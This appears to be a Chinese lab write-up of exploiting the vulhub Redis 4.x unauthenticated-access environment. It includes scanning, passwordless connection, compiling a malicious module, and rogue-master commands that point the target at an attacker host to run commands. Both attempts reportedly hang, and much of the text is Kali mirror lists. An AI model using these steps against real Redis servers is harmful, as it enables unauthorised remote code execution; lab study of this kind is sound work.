Redis 4-unacc

测试环境

攻击者：192.168.229.129

靶机：192.168.229.137

运行环境

使用docker和docker-compose运行漏洞环境vulhub

进入vulhub中Redis的4-unacc目录
docker-compose build //对靶场进行编译
docker-compose up -d //运行靶场
docker-compose down //移除靶场

安装Redis

攻击者也要安装Redis

1.wget http://download.redis.io/releases/redis-2.8.12.tar.gz #下载
2.tar -xzf redis-2.8.12.tar.gz #解压
3.cd到redis-2.8.12 目录下
4.输入命令make #安装
5.进入redis-2.8.12/src/目录下
6.输入命令`./redis-cli -h`，出现帮助内容就表示可以使用了

nmap扫描

nmap可以扫描出靶机6379的Redis服务器

Redis直接连接

可以使用kali中的Redis直接连接./redis-cli -h ip

使用info可以查看到一些服务器的敏感信息

下载exp到本地

make编译exp

cd到redis-rogue-server /RedisModulesSDK/exp/目录下，使用make进行编译，该目录下会多出exp.o和exp.so两个文件

返回到redis-rogue-server.py目录下

./redis-rogue-server.py --rhost --lhost

然后就卡住了。。

换了个exp

git clone https://github.com/vulhub/redis-rogue-getshell.git

./redis-master.py -r 靶机IP -p 6379 -L 攻击机IP -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"

然后就又卡住了。。。

在新的靶机上搭建docker

vps不好用，搭了个本地的环境来演示

结果原来的阿里源不能用了，又折腾了半天换源。。（图中的是中科大的源也还是不行）

最后也是糊里糊涂添加了一堆源

#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#163
deb http://mirrors.163.com/debian wheezy main non-free contrib
deb-src http://mirrors.163.com/debian wheezy main non-free contrib
deb http://mirrors.163.com/debian wheezy-proposed-updates main non-free contrib
deb-src http://mirrors.163.com/debian wheezy-proposed-updates main non-free contrib
deb-src http://mirrors.163.com/debian-security wheezy/updates main non-free contrib
#东软大学
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib